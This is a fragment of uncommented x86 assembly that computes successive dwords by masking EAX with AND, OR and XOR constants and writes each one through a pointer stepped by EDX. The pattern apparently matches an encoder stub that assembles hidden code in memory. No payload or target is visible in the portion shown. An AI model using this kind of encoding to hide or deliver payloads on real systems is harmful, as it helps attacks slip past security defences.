add ebx, edx
or eax, 0x617a3cd6
and eax, 0x600188c4
or eax, 0x98840108
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e87524e
or eax, 0x6e11664c
and eax, 0xa95664c
or eax, 0x816a99b2
mov dword [ebx], eax
add ebx, edx
or eax, 0x595250c7
and eax, 0x8989e04d
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c14100b
and eax, 0x3ce207f1